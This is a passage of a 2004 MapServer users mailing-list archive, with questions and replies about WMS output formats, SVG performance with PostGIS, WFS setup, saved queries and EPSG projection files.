the inefficiencies in MapServer queries. (A common topic today.) Queries force accessing the data twice, once as part of the initial query and a second time for presentation. Different parts of the feature may be used in each case. In addition it may not be the fact that data is accessed twice, but rather the way the second access happens, Refractions folks would have to comment further. The query builds a list of IDs and then during presentation the features are retrieved by ID. I've got a feeling that this ID-based access is particularly expensive with database sources. It's really fast with shapefiles (which is where MapServer started). Typically I've not worried about query speed because that's at the end point for a user. Steve >>> yuth hor 03/02/04 2:59 AM >>> Hi all, Again, I need some guidance about the SVG output. I have tested the new SVG output from nightly build and found that the return SVG map was very slow if I use the Postgres db as an input type. The shape file input gives me a better performance in order to generate the SVG map. It has no problem and quite fast if I use postgres/postgis with raster output. Do you have any idea about this? I have never look into the Mapserver source before, anyone can tell me about the SVG generated process in Mapserver and which module in Mapserver source that use to draw the SVG map? I may take a look that source for better understanding. Some information about my data - the layer is quite large, about 10 * 65 Mb. / layer (shp file) - After dump the shp layer into Postgres, GIST index was already made. Thank you very much in advanced, I also enclosed my map file with this mail for your perusal. Teerayut MAP NAME 'japan' EXTENT 122.935414 24.040589 153.986285 45.554518 STATUS OFF # we don't want a raster map UNITS DD SHAPEPATH "/usr/local/apache/htdocs/japan/data/" WEB HEADER '../header.svg' FOOTER '../footer.svg' QUERYFORMAT 'image/svg+xml' END LAYER CONNECTIONTYPE postgis NAME "z9_road" STATUS DEFAULT CONNECTION "user=postgres dbname=gsi2500 host=10.10.10.100 port=5432" DATA "the_geom from (select gid,the_geom from z9_road) as foo using unique gid using SRID=4301" TYPE QUERY HEADER ../z9_road_header.svg FOOTER ../z9_road_footer.svg TEMPLATE ../z9_road_template.svg END END --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. From warmerdam@pobox.com Wed Mar 3 03:13:39 2004 From: warmerdam@pobox.com (Frank Warmerdam) Date: Tue, 02 Mar 2004 22:13:39 -0500 Subject: [Mapserver-users] WMS Problems... In-Reply-To: References: Message-ID: <40454D63.4050706@pobox.com> Steve Lime wrote: > Hi Folks: I'm running into a few WMS issues that perhaps others have > witnessed (this is all MapServer 4.0, w/GDAL and Proj): > > - In a GetCapabilties request (version 1.1.1) tiff is showing up as an > output format even though a tiff output format is not set. GetMap > requests wanting tiff output subsequently fail. Seems to work (I get a > file and not an error) if I add a tiff output format. For some reason I > thought there was a default tiff format but if so it ain't working. Steve, I would assume the TIFF that is showing up is from GDAL. I don't know why the built-in GDAL/GTiff output format definition wouldn't work the same as one you define yourself. Can you produce a smallish example to demonstrate the problem? > - In a GetCapabilties request (version 1.0.0) I can't seem to extend > the list of output formats by defining more of them in the map file. I > always and up with the 4 standard GD formats, but at least tiff ain't > there. ;-) What kinds of OUTPUTFORMAT definition are you using that isn't showing up? > - How would one advertise the ability to create DIFFERENT tiff formats? > (e.g. 8-bit vs. 24-bit) For many databsets it makes sense to use one or > the other. I've tried creating 2 output formats but that doesn't seem to > have any effect, nor can I or a user choose one. Good question. As things stand you could have several output format definitions using the GeoTIFF driver, but with different names. As things stand I think the WMS server code allows formats to be selected by mime type (first matching ... formats declared in the .map file take precidence over implicit definitions) or by the output format name. However, I think (not so sure on this point) that only the mime types are listed in the capabilities document, so variations on the same format aren't going to be visible externally. It seems to me there is some way of adding options to mime types. Perhaps we could have something like a mime type of "image/tiff+24bit" or something. Anyone know more about this? Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam@pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From jeff@propertykey.com Wed Mar 3 03:57:08 2004 From: jeff@propertykey.com (Jeff Hoffmann) Date: Tue, 2 Mar 2004 21:57:08 -0600 Subject: [Mapserver-users] WMS Problems... In-Reply-To: <40454D63.4050706@pobox.com> References: <40454D63.4050706@pobox.com> Message-ID: On Mar 2, 2004, at 9:13 PM, Frank Warmerdam wrote: >> - How would one advertise the ability to create DIFFERENT tiff >> formats? >> (e.g. 8-bit vs. 24-bit) For many databsets it makes sense to use one >> or >> the other. I've tried creating 2 output formats but that doesn't seem >> to >> have any effect, nor can I or a user choose one. > > Good question. As things stand you could have several output format > definitions using the GeoTIFF driver, but with different names. As > things stand I think the WMS server code allows formats to be selected > by mime type (first matching ... formats declared in the .map file take > precidence over implicit definitions) or by the output format name. > However, > I think (not so sure on this point) that only the mime types are listed > in the capabilities document, so variations on the same format aren't > going > to be visible externally. > > It seems to me there is some way of adding options to mime types. > Perhaps > we could have something like a mime type of "image/tiff+24bit" or > something. > Anyone know more about this? I believe that the way to do this is to put parameters after the mime type like "image/tiff; color-depth=8". I don't know if there are standards for what these parameters are, especially for different image types, but it's done for different character sets in HTTP requests. You should be able to put this info both in the Accept header for the request and the Content-type for the returned image. I'd assume you'd be able to put the same in the format list when you do a "get capabilities" (i.e., image/tiff; color-depth=8). I have _no idea_ if anything would choke on this or not, but I think it'd be worth some research. -- Jeff Hoffmann jeff@propertykey.com From pramila@darya.nio.org Wed Mar 3 09:50:04 2004 From: pramila@darya.nio.org (Pramila R Gawas) Date: Wed, 03 Mar 2004 15:20:04 +0530 Subject: [Mapserver-users] mapserver demo help Message-ID: <4045AA4C.6030101@darya.nio.org> Hi all, I have installed mapserver in solaris system. I download mapserver demo 'itasca' from mapserver official site. I made follwoing changes in *demo_init.html* file
*demo.map* file WMS_ONLINERESOURCE "http://localhost/user/xyz/mapserver_demos/itasca/demo_init.htm" when i try to run the link http://localhost/mapserver_demos/itasca/demo_init.html in browser i am getting the error message : The requested URL /mapserver_demos/itasca/demo_init.html was not found on this server. thanks Pramila From bartvde@xs4all.nl Wed Mar 3 08:58:47 2004 From: bartvde@xs4all.nl (bartvde@xs4all.nl) Date: Wed, 3 Mar 2004 09:58:47 +0100 (CET) Subject: [Mapserver-users] WFS Layer Problem In-Reply-To: <4045227B.4030609@supanet.com> References: <4045227B.4030609@supanet.com> Message-ID: <22881.212.238.227.182.1078304327.squirrel@webmail.xs4all.nl> Hi, what kind of request are you doing against the WFS? Is the GetCapabilities working on your WFS (&service=WFS&request=GetCapabilities) ? Below a setup from my server which works: WEB IMAGEPATH "/ms4w/tmp/ms_tmp/" IMAGEURL "/ms_tmp/" METADATA WMS_TITLE "Gemeentes mapserver WMS" WMS_ABSTRACT "UMN MapServer Gemeentekaart" WMS_ACCESSCONSTRAINTS none WMS_SRS "EPSG:28992" WFS_TITLE "Gemeentes mapserver WFS" WFS_ONLINERESOURCE "http://myserver/cgi-bin/mapserv.exe?map=/ms4w/apps/general/map/gemeentes.map" WFS_SRS "EPSG:28992" OWS_SCHEMAS_LOCATION "http://ogc.dmsolutions.ca" END END LAYER DATA "Nlge_r98" METADATA WMS_TITLE "Gemeentes" WMS_ABSTRACT "Gemeentes via UMN Mapserver" WMS_SRS "EPSG:28992" WFS_TITLE "Gemeentes" END NAME "Gemeentes" SIZEUNITS PIXELS STATUS ON TOLERANCE 0 TOLERANCEUNITS PIXELS TYPE POLYGON DUMP TRUE TEMPLATE "blank.html" UNITS METERS CLASS NAME "Foreign Lands" STYLE MAXSIZE 100 MINSIZE 1 OUTLINECOLOR 255 0 0 SIZE 1 SYMBOL 0 END END END Best regards, Bart > Hi All, > > I'm trying to set up a map file to serve up a WFS layer. I think I've > set all the metadata tags specified in the HOWTO but I get a GIF output, > not GML. I'm using v4.0 on Windows. Here's the mapfile:- > > MAP > DEBUG TRUE > NAME "FIRST" > SHAPEPATH "F:\CDS Project\Mapping\shp\" > EXTENT 270000 180000 290000 200000 > SIZE 600 600 > UNITS METERS > WEB > IMAGEPATH "F:\CDS Project\Working\Dev\MapServer\tmp\" > IMAGEURL "/CDSproj/Dev/MapServer/tmp/" > LOG "F:\CDS Project\Working\Dev\MapServer\MapServer.log" > METADATA > "wfs_title" "WFS Demo - CDS Project" > "wfs_onlineresource" > "http://localhost/cgi-bin/mapserv_40.exe?map=F:/CDS%20Project/Working/Dev/MapServer/firstWFS.map" > "wfs_srs" "EPSG:27700" > "ows_schemas_location" > "http://ogc.dmsolutions.ca/wfs/1.0.0/WFS-basic.xsd" > END > END > > # Start of LAYER DEFINITIONS > --------------------------------------------- > LAYER # UrbanAreas polygon layer begins here > NAME UrbanAreas > DATA UrbanAreas > STATUS DEFAULT > TYPE POLYGON > DUMP TRUE > > CLASS > STYLE > COLOR 232 232 232 > OUTLINECOLOR 32 32 32 > END > END > END # UrbanAreas polygon layer ends here > # End of LAYER DEFINITIONS ------------------------------- > END # end of map file/object > > Can anybody see what else needs to be added to force the output to GML? > > Thanks, > > Keith > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From ms57@streamyx.com Wed Mar 3 12:54:28 2004 From: ms57@streamyx.com (Steve McCrone) Date: Wed, 03 Mar 2004 20:54:28 +0800 Subject: [Mapserver-users] savequery Message-ID: <003601c4011e$aa6a33f0$b8815fdb@maps> I'm using mapserver 4.0. I sue a javascript function to test finding a lake - see my hidden values & function below. I set the savequery="true", and the query file (eg.DEMO10783178743172.qy) does get saved in the tmp directory. However, when I interact with my map again, say "zoomout", the highlighted border around the lake polygon dissapears. I wish to keep it there until the user clears it using a javascript function. Does it have anything to do with the MAP_IMAGETYPE? Thanks, Steve function findLake(){ document.mapserv.mode.value = "itemquery"; document.mapserv.savequery.value = "true"; document.mapserv.qlayer.value = "LAKE_QUERY"; document.mapserv.qstring.value = "BOWSTRING"; document.mapserv.mapext.value = "shapes"; document.mapserv.buffer.value = "1000"; document.mapserv.submit(); } From ed@topozone.com Wed Mar 3 14:33:07 2004 From: ed@topozone.com (Ed McNierney) Date: Wed, 3 Mar 2004 09:33:07 -0500 Subject: [Mapserver-users] WMS Problems... Message-ID: <13858AA1A74F30419F319ACB66A9D1224E3E3D@mercator.topozone.com> Steve - I am not aware of any way to support multiple variants of one image-type in a single WMS map file. I might be wrong, but I worked at it, couldn't figure it out, and went for an alternative solution. I maintain multiple, duplicate MAP files that are identical except for the style of the image type, so I've got one set for 8-bit PNG, one for 24-bit PNG, etc. and select the output by selecting the correct MAP file. Not pretty, but the only way I know how. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed@topozone.com (978) 251-4242 -----Original Message----- From: Steve Lime [mailto:steve.lime@dnr.state.mn.us] Sent: Tuesday, March 02, 2004 6:38 PM To: mapserver-users@lists.gis.umn.edu Subject: [Mapserver-users] WMS Problems... Hi Folks: I'm running into a few WMS issues that perhaps others have witnessed (this is all MapServer 4.0, w/GDAL and Proj): - In a GetCapabilties request (version 1.1.1) tiff is showing up as an output format even though a tiff output format is not set. GetMap requests wanting tiff output subsequently fail. Seems to work (I get a file and not an error) if I add a tiff output format. For some reason I thought there was a default tiff format but if so it ain't working. - In a GetCapabilties request (version 1.0.0) I can't seem to extend the list of output formats by defining more of them in the map file. I always and up with the 4 standard GD formats, but at least tiff ain't there. ;-) - How would one advertise the ability to create DIFFERENT tiff formats? (e.g. 8-bit vs. 24-bit) For many databsets it makes sense to use one or the other. I've tried creating 2 output formats but that doesn't seem to have any effect, nor can I or a user choose one. Steve _______________________________________________ Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From eric.berne@innetis.com Wed Mar 3 15:35:34 2004 From: eric.berne@innetis.com (eric.berne@innetis.com) Date: Wed, 3 Mar 2004 16:35:34 +0100 Subject: [Mapserver-users] Map Server 3 to MapServer 4 Message-ID: Hi. All new to MapServer, i had to install a working application (MapServer 3) on a new server running MapServer 4. A few hedakes later, everything works fine. Except for one thing: I have several CLASS objects in my .map file Each of them has a TEMPLATE section with a template query HTML file. But when the users click on the map, the same query occurs ever and ever, wherever they have clicked. I may have missed a syntax update as i did with the STYLE attribute, but i can't find any help on this. Here is an extract of my .map file: The "colonias_query.html" is the file that always shows up. LAYER NAME Colonias TYPE Polygon DATA Colonias STATUS DEFAULT TRANSPARENCY 0 HEADER "colonias_header.html" FOOTER "colonias_footer.html" LABELITEM "COLONIA" LABELMAXSCALE 12000 CLASS NAME "COLONIAS seleccion" TEMPLATE "colonias_query.html" #COLOR 255 255 255 OUTLINECOLOR 0 0 255 SIZE 10 NAME "Colonias" LABEL COLOR 255 0 0 SHADOWCOLOR 220 220 220 SHADOWSIZE 1 1 TYPE TRUETYPE FONT fritqat-bold MAXSIZE 14 MINSIZE 8 ANTIALIAS TRUE POSITION LL PARTIALS FALSE MINDISTANCE 50 END END END # Layer LAYER NAME Rutas DATA RutasPap TYPE line STATUS off HEADER "rutas_header.html" FOOTER "rutas_footer.html" CLASSITEM "TIPORUTA" CLASS NAME "RECOLECCION" EXPRESSION "RECOLECCION" TEMPLATE "rutas_query.html" SYMBOL 'Circle' Size 5 COLOR 0 255 0 END CLASS NAME "LAVADO" EXPRESSION "LAVADO" TEMPLATE "rutas_query.html" SYMBOL 'Circle' Size 5 COLOR 255 255 0 END END Thanks in advance Eric From fx.gamoy@mapxplore.com Wed Mar 3 11:17:20 2004 From: fx.gamoy@mapxplore.com (FX Gamoy) Date: Wed, 3 Mar 2004 12:17:20 +0100 Subject: [Mapserver-users] looking for tolinux.exe and tomsdos.exe Message-ID: <005c01c40111$18d0b7a0$0102a8c0@polo> This is a multi-part message in MIME format. ------=_NextPart_000_0059_01C40119.7A35C190 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello i am looking for an util (on window or dos platform) in order to = translate windows text files into linux text files. i would like this util is able to perform all the files of a directory.. a few month ago i have used tolinux.exe util but i can't find it anymore = on my computers...=20 Any help wil be appreciated... Thanks.. fx ------=_NextPart_000_0059_01C40119.7A35C190 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello
 
i am looking for an util (on window or = dos=20 platform) in order to translate windows text files into linux text=20 files.
i would like this util is able to = perform all the=20 files of a directory..
 
a few month ago i have used tolinux.exe = util but i=20 can't find it anymore on my computers...
 
Any help wil be = appreciated...
Thanks..
fx
------=_NextPart_000_0059_01C40119.7A35C190-- From christophe.javoy@aurg.asso.fr Wed Mar 3 15:42:57 2004 From: christophe.javoy@aurg.asso.fr (christophe javoy) Date: Wed, 3 Mar 2004 16:42:57 +0100 Subject: [Mapserver-users] =?iso-8859-1?Q?afficher_le_r=E9sultat_d=27une_queryByAttributes?= Message-ID: <61876C0F933AA84DAB656B12B04F50A31E8D35@ruff.aurg.lan> This is a multi-part message in MIME format. ------_=_NextPart_001_01C40136.33820464 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Est-il possible d'afficher uniquement le r=E9sultat d'une query dans une = nouvelle fen=EAtre ? Je n'arrive qu'=E0 avoir la couche entii=E8re et pas seulement les = objets. Christophe ------_=_NextPart_001_01C40136.33820464 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message
Est-il = possible=20 d'afficher uniquement le r=E9sultat d'une query dans une nouvelle = fen=EAtre=20 ?
Je = n'arrive qu'=E0=20 avoir la couche entii=E8re et pas seulement les = objets.
Christophe
=00 ------_=_NextPart_001_01C40136.33820464-- From ARyan@co.linn.or.us Wed Mar 3 15:54:44 2004 From: ARyan@co.linn.or.us (Ryan, Adam) Date: Wed, 3 Mar 2004 07:54:44 -0800 Subject: [Mapserver-users] savequery Message-ID: <614FCE5F14A6D41180C200010240D6A23FC909@LINNMS> Steve, You'll need to use the 'queryfile' CGI variable on any subsequent call using mode browse or nquery. Check out the Mapserver CGI Reference. Adam -----Original Message----- From: Steve McCrone [mailto:ms57@streamyx.com] Sent: Wednesday, March 03, 2004 4:54 AM To: mapserver-users@lists.gis.umn.edu Subject: [Mapserver-users] savequery I'm using mapserver 4.0. I sue a javascript function to test finding a lake - see my hidden values & function below. I set the savequery="true", and the query file (eg.DEMO10783178743172.qy) does get saved in the tmp directory. However, when I interact with my map again, say "zoomout", the highlighted border around the lake polygon dissapears. I wish to keep it there until the user clears it using a javascript function. Does it have anything to do with the MAP_IMAGETYPE? Thanks, Steve function findLake(){ document.mapserv.mode.value = "itemquery"; document.mapserv.savequery.value = "true"; document.mapserv.qlayer.value = "LAKE_QUERY"; document.mapserv.qstring.value = "BOWSTRING"; document.mapserv.mapext.value = "shapes"; document.mapserv.buffer.value = "1000"; document.mapserv.submit(); } _______________________________________________ Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From tomko@gku.sk Wed Mar 3 16:12:26 2004 From: tomko@gku.sk (Tomko) Date: Wed, 3 Mar 2004 17:12:26 +0100 Subject: [Mapserver-users] Mapserver as WMS server issues In-Reply-To: <20040302180009.29440.39246.Mailman@lists.gis.umn.edu> Message-ID: <000601c4013a$5834e910$d90510ac@aisgkk> Dear List, Just few questions related to the behavior of the UMN as a WMS compliant server (I am using the windows binary release 4.0.1) - it states that the version is 1.1.0. Is the 1.1.1 version of WMS going to be supported in the new release of UMN (4.1)? - PROJ - I am using EPSG 4156 datasets (Czech and Slovak Republic). It has empty values in the Proj release coming with the Mapserver download. Can I a/ simply add the values as stated in the EPSG database (EPSG.org) in the epsg file... Is this possible? Is it possible to download a new version of PROJ from the remotesensing website (ok, I did not check if it contains the values, but in principle) and just copy it to c>/ as done until now, or do I have to install (binary release) or compile it with mapserver??? Last WMS related question: In the wiki WMS part, it is stated that I should test the capabilities of my server with the following statement (I substituted my values) http://tomko/cgi-bin/mapserv.exe?map=c:/programy/apache/apache2/htdocs/m aplist/maplist.map&GetCapabilities Which of course doesn't lead anywhere. I thing that the query should be (a functional one): http://tomko/cgi-bin/mapserv.exe?map=c:/programy/apache/apache2/htdocs/m aplist/maplist.map&request=GetCapabilities So we should probably correct the part in the wiki. /oh, to mention - what is the strange ampersand escaping at the end of the OnlineResource tag good for, it causes that strange "...map=/maplist/maplist.map&&" output in the capabilities request!! Thanks Martin From fx.gamoy@mapxplore.com Wed Mar 3 16:46:36 2004 From: fx.gamoy@mapxplore.com (FX Gamoy) Date: Wed, 3 Mar 2004 17:46:36 +0100 Subject: [Mapserver-users] looking for tolinux.exe and tomsdos.exe References: <005c01c40111$18d0b7a0$0102a8c0@polo> <4045FFB8.4010109@ci.stpaul.mn.us> Message-ID: <002d01c4013f$183991d0$0102a8c0@polo> hello thanks for your post i would like to find the same for win32 plateform thanks fx ----- Original Message ----- From: "Bob Basques" To: "FX Gamoy" Sent: Wednesday, March 03, 2004 4:54 PM Subject: Re: [Mapserver-users] looking for tolinux.exe and tomsdos.exe > FX Gamoy wrote: > > > Hello > > > > i am looking for an util (on window or dos platform) in order to > > translate windows text files into linux text files. > > i would like this util is able to perform all the files of a directory.. > > > > a few month ago i have used tolinux.exe util but i can't find it > > anymore on my computers... > > > > Any help wil be appreciated... > > Thanks.. > > fx > > will DOS2UNIX or UNIX2DOS work for you? > > Try typing "man dos2unix" or "man unix2dos" in the Linux Shell, Redhat > 9 has these commands. > > bobb > > > From warmerdam@pobox.com Wed Mar 3 16:39:58 2004 From: warmerdam@pobox.com (Frank Warmerdam) Date: Wed, 03 Mar 2004 11:39:58 -0500 Subject: [Mapserver-users] Mapserver as WMS server issues In-Reply-To: <000601c4013a$5834e910$d90510ac@aisgkk> References: <000601c4013a$5834e910$d90510ac@aisgkk> Message-ID: <40460A5E.60705@pobox.com> Tomko wrote: > - PROJ - I am using EPSG 4156 datasets (Czech and Slovak Republic). It > has empty values in the Proj release coming with the Mapserver download. > Can I > a/ simply add the values as stated in the EPSG database (EPSG.org) in > the epsg file... Is this possible? > > Is it possible to download a new version of PROJ from the remotesensing > website (ok, I did not check if it contains the values, but in > principle) and just copy it to c>/ as done until now, or do I have to > install (binary release) or compile it with mapserver??? Tomko, You can freely update the epsg file yourself. Any newly added values (following the pattern you see) should thereafter work as SRS's. Of course, that presumes that PROJ.4 can represent the coordinate system you are working with. In particular, some Czeck systems use unusual axis orientations that are somewhat problematic, as well as prime meridian issues. > Last WMS related question: > In the wiki WMS part, it is stated that I should test the capabilities > of my server with the following statement (I substituted my values) > > http://tomko/cgi-bin/mapserv.exe?map=c:/programy/apache/apache2/htdocs/m > aplist/maplist.map&GetCapabilities > > Which of course doesn't lead anywhere. I thing that the query should be > (a functional one): > > http://tomko/cgi-bin/mapserv.exe?map=c:/programy/apache/apache2/htdocs/m > aplist/maplist.map&request=GetCapabilities > > So we should probably correct the part in the wiki. That's why it is a wiki, so you can fix stuff that's wrong! Go ahead. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam@pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From bartvde@xs4all.nl Wed Mar 3 16:58:46 2004 From: bartvde@xs4all.nl (bartvde@xs4all.nl) Date: Wed, 3 Mar 2004 17:58:46 +0100 (CET) Subject: [Mapserver-users] Mapserver as WMS server issues In-Reply-To: <000601c4013a$5834e910$d90510ac@aisgkk> References: <20040302180009.29440.39246.Mailman@lists.gis.umn.edu> <000601c4013a$5834e910$d90510ac@aisgkk> Message-ID: <14452.212.238.227.182.1078333126.squirrel@webmail.xs4all.nl> Hi Martin, answers inline. > Dear List, > Just few questions related to the behavior of the UMN as a WMS compliant > server (I am using the windows binary release 4.0.1) > > - it states that the version is 1.1.0. Is the 1.1.1 version of WMS going > to be supported in the new release of UMN (4.1)? WMS version 1.1.1 will be supported by Mapserver 4.2. It is already in the current CVS version I guess. > > - PROJ - I am using EPSG 4156 datasets (Czech and Slovak Republic). It > has empty values in the Proj release coming with the Mapserver download. > Can I > a/ simply add the values as stated in the EPSG database (EPSG.org) in > the epsg file... Is this possible? If this is a 2D coordsys you can normally simply add the parameters to the EPSG file which comes with Mapserver. > > Is it possible to download a new version of PROJ from the remotesensing > website (ok, I did not check if it contains the values, but in > principle) and just copy it to c>/ as done until now, or do I have to > install (binary release) or compile it with mapserver??? > > Last WMS related question: > In the wiki WMS part, it is stated that I should test the capabilities > of my server with the following statement (I substituted my values) > > http://tomko/cgi-bin/mapserv.exe?map=c:/programy/apache/apache2/htdocs/m > aplist/maplist.map&GetCapabilities You're right, this is a mistake in the Wiki. But the nice thing about a Wiki is that you can even update it yourself :-) > > Which of course doesn't lead anywhere. I thing that the query should be > (a functional one): > > http://tomko/cgi-bin/mapserv.exe?map=c:/programy/apache/apache2/htdocs/m > aplist/maplist.map&request=GetCapabilities > > So we should probably correct the part in the wiki. > > /oh, to mention - what is the strange ampersand escaping at the end of > the OnlineResource tag good for, it causes that strange > "...map=/maplist/maplist.map&&" output in the capabilities request!! > The OGC WMS spec states that all online resources should end with ? or &, so that a client can always append its parameters directly after the online resource (it does not need more logic to see if it needs to append a & first). Hope this helps. Best regards, Bart > Thanks > > Martin > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From mappington@yahoo.com Wed Mar 3 17:20:37 2004 From: mappington@yahoo.com (Map Guy) Date: Wed, 3 Mar 2004 09:20:37 -0800 (PST) Subject: [Mapserver-users] Distance Calculation Message-ID: <20040303172037.82111.qmail@web61109.mail.yahoo.com> --0-1484848469-1078334437=:81026 Content-Type: text/plain; charset=us-ascii We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles. 2 questions: 1. Should we be seeing this much difference in distances? 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? Thanks in advance. P.S. Point me somewhere else if this is the wrong place to ask these questions. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you’re looking for faster. --0-1484848469-1078334437=:81026 Content-Type: text/html; charset=us-ascii
We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in distances?
 
2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place to ask these questions.

Do you Yahoo!?
Yahoo! Search - Find what you’re looking for faster. --0-1484848469-1078334437=:81026-- From Richard.Pierce@mail.state.ar.us Wed Mar 3 17:31:21 2004 From: Richard.Pierce@mail.state.ar.us (Richie Pierce) Date: Wed, 3 Mar 2004 11:31:21 -0600 Subject: [Mapserver-users] workshop dhtml Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C40145.57FF9BA8 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I have downloaded the workshop data for the dhtml rubberband zoom. It runs great with the Itasca data and it is exactly what we are looking for. I am running into a problem when I try and replace the Itasca data with our local data. This is the first Javascript I have looked at so I am still trying to follow what the page is doing. When I go through the map file and replace the layers with local data, as well as going through the itasca_adds_dhtml.html and adjusting the javascript to point to the local data. I am getting an 'args' not defined error in the browser and the image for the map and the reference map are the red_pixel.gif. Any ideas would be greatly appreciated. =20 Richie Pierce =20 ------_=_NextPart_001_01C40145.57FF9BA8 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

I have downloaded the workshop data for the dhtml = rubberband zoom.  It runs great with the Itasca data = and it is exactly what we are looking for.  I am running into a problem when = I try and replace the Itasca data with our local = data.  This is the first Javascript I have looked at so I am still trying to = follow what the page is doing.  When I go through the map file and replace the = layers with local data, as well as going through the itasca_adds_dhtml.html and adjusting the javascript to point to the local data.  I am getting = an ‘args’ not defined error in the browser and the image for the map and the = reference map are the red_pixel.gif.  Any ideas would be greatly = appreciated.

 

Richie Pierce

 

=00 ------_=_NextPart_001_01C40145.57FF9BA8-- From steve.lime@dnr.state.mn.us Wed Mar 3 17:50:17 2004 From: steve.lime@dnr.state.mn.us (Steve Lime) Date: Wed, 03 Mar 2004 11:50:17 -0600 Subject: [Mapserver-users] WMS Problems... Message-ID: Note that the MapServer version is 4.1 (a week or two old) and not 4.0. Anyway, I've created 2 stripped down versions of the mapfile. One with output formats: OUTPUTFORMAT NAME geotiff_24bit MIMETYPE "image/tiff" DRIVER "GDAL/GTiff" IMAGEMODE RGB END OUTPUTFORMAT NAME geotiff_8bit MIMETYPE "image/tiff" DRIVER "GDAL/GTiff" IMAGEMODE PC256 END and one without. Here are the links to the capabilties (switch to your favorite version): http://maps.dnr.state.mn.us/cgi-bin/mapserv40?map=/usr/local/www/docs/deli/mapserver/wms_test_outputformat.map&version=1.0.0&request=GetCapabilities http://maps.dnr.state.mn.us/cgi-bin/mapserv40?map=/usr/local/www/docs/deli/mapserver/wms_test_no_outputformat.map&version=1.0.0&request=GetCapabilities With WMS 1.0.0 tiff never shows up as an output format. With WMS 1.1.x tiff is always always there. Here are GetMap URLs against the two mapfiles: http://maps.dnr.state.mn.us/cgi-bin/mapserv40?map=/usr/local/www/docs/deli/mapserver/wms_test_outputformat.map&version=1.1.0&request=GetMap&layers=L380000020906&exceptions=inimage&format=tiff&width=500&height=500 http://maps.dnr.state.mn.us/cgi-bin/mapserv40?map=/usr/local/www/docs/deli/mapserver/wms_test_no_outputformat.map&version=1.1.0&request=GetMap&layers=L380000020906&exceptions=inimage&format=tiff&width=500&height=500 In the first example an image is created. The second example generates an exception. What's also interesting is that if you switch to WMS 1.0.0 and hit the mapfile with OUTPUTFORMAT definitions you can create a tiff even though the capabilities document doesn't list the format. I was under the impression that there was some connection between OUTPUTFORMAT and WMS supported formats, or at least is seems like there should be. Steve >>> Frank Warmerdam 3/2/2004 9:13:39 PM >>> Steve Lime wrote: > Hi Folks: I'm running into a few WMS issues that perhaps others have > witnessed (this is all MapServer 4.0, w/GDAL and Proj): > > - In a GetCapabilties request (version 1.1.1) tiff is showing up as an > output format even though a tiff output format is not set. GetMap > requests wanting tiff output subsequently fail. Seems to work (I get a > file and not an error) if I add a tiff output format. For some reason I > thought there was a default tiff format but if so it ain't working. Steve, I would assume the TIFF that is showing up is from GDAL. I don't know why the built-in GDAL/GTiff output format definition wouldn't work the same as one you define yourself. Can you produce a smallish example to demonstrate the problem? > - In a GetCapabilties request (version 1.0.0) I can't seem to extend > the list of output formats by defining more of them in the map file. I > always and up with the 4 standard GD formats, but at least tiff ain't > there. ;-) What kinds of OUTPUTFORMAT definition are you using that isn't showing up? > - How would one advertise the ability to create DIFFERENT tiff formats? > (e.g. 8-bit vs. 24-bit) For many databsets it makes sense to use one or > the other. I've tried creating 2 output formats but that doesn't seem to > have any effect, nor can I or a user choose one. Good question. As things stand you could have several output format definitions using the GeoTIFF driver, but with different names. As things stand I think the WMS server code allows formats to be selected by mime type (first matching ... formats declared in the .map file take precidence over implicit definitions) or by the output format name. However, I think (not so sure on this point) that only the mime types are listed in the capabilities document, so variations on the same format aren't going to be visible externally. It seems to me there is some way of adding options to mime types. Perhaps we could have something like a mime type of "image/tiff+24bit" or something. Anyone know more about this? Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam@pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent _______________________________________________ Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From warmerdam@pobox.com Wed Mar 3 18:06:28 2004 From: warmerdam@pobox.com (Frank Warmerdam) Date: Wed, 03 Mar 2004 13:06:28 -0500 Subject: [Mapserver-users] WMS Problems... In-Reply-To: References: Message-ID: 